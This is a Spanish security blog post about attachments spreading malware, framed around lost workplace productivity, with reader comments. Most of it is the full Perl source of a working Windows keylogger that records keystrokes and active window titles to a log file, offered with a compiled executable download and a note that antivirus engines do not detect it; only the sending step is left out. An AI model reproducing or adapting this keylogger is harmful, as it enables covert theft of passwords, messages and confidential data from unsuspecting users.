Bilbao Digital

Asociación para la Cualificación y el Aprendizaje Permanente

  • Full Screen
  • Wide Screen
  • Narrow Screen
  • Increase font size
  • Default font size
  • Decrease font size

La productividad de los adjuntos

E-mail Imprimir PDF

Los lunes y los viernes son días peligrosos y negros para la productividad. Los viernes semi-festivos están instaurados en nuestra sociedad. Se procura evitar responsabilidades o se trasladan al lunes. Sorprendentemente cada lunes por la mañana nos damos cuenta de que tenemos muy poca predisposición para trabajar. Así que, revoloteamos consultando nuestro correo personal, descargamos los adjuntos, visitamos nuestras webs favoritas, nos actualizamos digitalmente antes de ponernos a funcionar.

Este reenvío de adjuntos es lo más parecido a la república bananera de la seguridad informática. Donde los adjuntos sin valor (bananas) son el medio de propagación del malware en un sistema (corrupto) gobernado por un antivirus (junta militar).

En ocasiones los adjuntos van acompañados de programas encubiertos. Al visualizarlos se ejecuta el malware sin el conocimiento del usuario. Uno de los comportamientos más habituales de estos programas es registrar las pulsaciones del teclado para transmitirlas a través de Internet. De esta forma se desvelan toda la actividad del equipo como el contenido de los correos, mensajería personal (chats), usuarios/contraseñas, documentación confidencial, ... y se genera negocio para las mafias. Estas mismas mafias venden y dan soporte para incorporar este malware garantizando que no sea detectado por los sistemas antivirus. Así, por alrededor de 1.000 euros, cierran el círculo.

En este escenario hay cuatro protagonistas:

01.El origen del malware, técnicamente por encima del antivirus. La parte que nunca conocemos.

02.El de los 1.000 euros, el script-kiddie, "mulero", ... técnicamente pobre. Es el que distribuye el malware. Si no le explota en las manos, lo conocemos a través del telediario como el mayor hacker del país y termina castigado contra la pared.

03.El antivirus, técnicamente por debajo del origen del malware. ¿Conoces tu antivirus?

04.El usuario. Encantado.


Voy a poner un ejemplo de este modelo de negocio. Una aplicación que registra las pulsaciones del teclado español y las almacena en un archivo de texto. He omitido la transferencia del archivo para no facilitar su reutilización. En este artículo explico cómo cifrar y transmitir información con una arquitectura cliente-servidor. Son complementarios así que los he redactado en lenguajes informáticos e idiomas diferentes por el mismo motivo que mencionaba antes.

Puedes bajarte el archivo compilado y su código fuente. Al ejecutar el archivo "keylogger.exe" se abre un cmd con su actividad y se generará un archivo con el nombre "salidakl0.txt" donde almacena tus pulsaciones:
keylogger.exe
código fuente en Perl keylogger.pl

MD5 : 04ea390ce1ca4413a570f447318e09a9
SHA1 : c189dcd7551b43570d224c965c56005815810e40
SHA256: fa5de7ccecd4b8756c8c2298f122015b0c5051d9cdc7abf972ae9ec5d9e11d9e
Informe virustotal.com. Resultado 0/43 (0.0%).

# Carga de módulos Perl
use strict;
use warnings;
use Win32::GuiTest qw(GetAsyncKeyState GetForegroundWindow GetWindowText);
use Win32::KeyState qw(:get);
use Time::HiRes qw(usleep);
use FileHandle;
use feature 'switch';

# Inicializar variables
my ($caps,$ced,$i,$I,$shift,$window,$window0,$LOG);
my ($segundo,$minuto,$hora,$dia,$mes,$anio,$diaSemana) = (localtime(time))[0,1,2,3,4,5,6];
my @dias = ('Domingo','Lunes','Martes','Miercoles',
'Jueves','Viernes','Sabado');
my @meses = ('Enero','Febrero','Marzo','Abril','Mayo','Junio','Julio',
'Agosto','Septiembre','Octubre','Noviembre','Diciembre');
my $tiempo = sprintf("%02d:%02d:%02d",$hora,$minuto,$segundo);
my $fecha = "$dias[$diaSemana] $dia de $meses[$mes] del $anio a las $tiempo";
$anio+=1900;

$|++;
$I=0;
$window = 0;

open (OUT, ">>salidakl".$I.".txt") || die "no ha podido crearse la salida - $!";
OUT->autoflush(1);

LOG("=" x 60 . "\n" ." [+] inicio : ".$fecha. "\n" . "=" x 60 . "\n");

while(1){ 

    if(-s OUT >= 1048576){
		close(OUT);
		$I++; 
		open (OUT, ">>salidakl$I.txt") || die "no ha podido crearse la salida - $!";
	}
	
# captura el título de la ventana activa

	$window0 = GetForegroundWindow();
	if($window0 != $window){ $window = $window0; LOG("||".GetWindowText($window)."\n");}

# Mapa virtual del teclado español con conversión hexadecimal 1718162165

	if(GetKeyState(20)==0){$caps=32;$ced=0;}else{$caps=0;$ced=7;} # verifica el estado del CAPSLOOK
		for(8,9,13,16,32,186..190,192,193,220..222,226){
			$i = $_;
			if(GetAsyncKeyState($i) == -32767){
			given ($i) {
					when (8) {LOG ("\b");}
					when (9) {LOG ("\t");}
					when (13) {LOG ("\n");}
					when (16) {callSHIFT();} # llama a sub callSHIFT.
					when (32) {LOG(' ');}
					when (186) {LOG('`');}
					when (187) {LOG('+');}
					when (188) {LOG(',');} 
					when (189) {LOG('-');} 
					when (190) {LOG('.');}
					when (192) {LOG("\xA4");}	
					when (193) {LOG("/");}
					when (219) {LOG("\x27");}
					when (220) {LOG("\xA7");} 
					when (221) {LOG("\xAD");}
					when (222) {LOG('\'');}
					when (226) {LOG('<');}
				}
			}
		}
	
	for($i=48;$i<=57;$i++){ # números 0-9.
		if (GetAsyncKeyState($i) == -32767){
			LOG(chr($i));
		} 
	}

	CHR($caps,$ced);
	usleep(1000); # reduce el consumo de la CPU.
}

sub callSHIFT {
	$shift = 1;
	while($shift == 1){
		for(48..57,186..190,192,193,219..222,226){
			$i = $_;
			if(GetAsyncKeyState($i) == -32767){
				given ($i)	{
					when (48) {LOG('=');}
					when (49) {LOG('!');}
					when (50) {LOG('"');}
					when (51) {LOG("\xFA");}
					when (52) {LOG('$');}
					when (53) {LOG('%');}
					when (54) {LOG('&');}
					when (55) {LOG('/');}
					when (56) {LOG('(');}
					when (57) {LOG(')');}
					when (186) {LOG('^');}
					when (187) {LOG('*');}
					when (188) {LOG(';');}
					when (189) {LOG('_');}
					when (190) {LOG(':');}		
					when (192) {LOG("\xA5");}		
					when (193) {LOG('?');}
					when (219) {LOG('?');} 
					when (220) {LOG("\xA6");} 
					when (221) {LOG("\xA8");}
					when (222) {LOG("\xF9");}
					when (226) {LOG('>');}
				}
			}
		}
		CHR(0,7);
		if(!GetAsyncKeyState(16) == 1){ $shift = 0; } # verifica el estado del SHIFT.
    }
}

sub CHR {
	$caps = shift;
	$ced  = shift;
	for($i=65;$i<=90;$i++){
		if(GetAsyncKeyState($i) == -32767){
			LOG(chr($i+$caps));
		} # letras a-z A-Z
    }
	
	if(GetAsyncKeyState(191)== -32767){
		LOG (chr(135-$ced));
	} # ç,Ç
	
	usleep(1000) # reduce el consumo de la CPU.
}

sub LOG {
	$LOG = shift;
	print $LOG;
	print OUT $LOG;
}

Puedes bajarte el archivo compilado y su código fuente. Al ejecutar el archivo "keylogger.exe" se abre un cmd con su actividad y se generará un archivo con el nombre "salidakl0.txt" donde almacena tus pulsaciones:
keylogger.exe
código fuente en Perl keylogger.pl

MD5 : 04ea390ce1ca4413a570f447318e09a9
SHA1 : c189dcd7551b43570d224c965c56005815810e40
SHA256: fa5de7ccecd4b8756c8c2298f122015b0c5051d9cdc7abf972ae9ec5d9e11d9e
Informe virustotal.com. Resultado 0/43 (0.0%).

El escenario que he descrito no lo he detallado ya que, es de por sí, motivo de formación específica. En las conferencias proponemos soluciones/orientación a proveedores y al usuario final para defenderse de estas amenazas. Al margen de esto, si tienes un horario flexible como yo, igual es necesario plantearse ser más productivos, evitar los adjuntos y, ¿trabajar por la tarde?

Comentarios (3)add comment
mi antivirus no lo ha detectado
escrito por josean , 13, diciembre, 2010

será porque es gratuito. je je
report abuse
vote down
vote up

Votos: +0

Desapego
escrito por Gus , 13, diciembre, 2010

Aparte de reducir el número de adjuntos que procuraré abrir a partir de hoy, procuraré, ... porque es tanta la información que hemos de gestionar que a veces la materia gris de mi cerebro se niega a procesar más (y me llama inútil por no saber elegir, ....), decía que voy a incluir una estampita de Buda en mi cartera y practicar el desapego, porque en esta línea de luchas entre los buenos y los malos, sé que alguna vez ganaremos y otra nos tocará perder, perder información, tiempo, ...etc.... eso sí ,nunca la esperanza.
Los neófitos, no podemos hacer mucho más; el resto está en las manos de los buenos, ya me entendéis ¡¡¡
saludos de lunes, hoy ... me toca currar a la tarde

report abuse
vote down
vote up

Votos: +0

Dependencias
escrito por Carlos Sánchez , 15, diciembre, 2010

El desapego de la informática es una solución. Aunque no todo el mundo se lo puede permitir. En este caso, se genera una nueva dependencia con el proveedor. Así que ya no sólo estás en manos de los "malos", sino también en manos de los "buenos". Aumenta el riesgo.
report abuse
vote down
vote up

Votos: +3


Escribir comentario
menor | mayor
password
 

busy
You are here: Artículos Seguridad La productividad de los adjuntos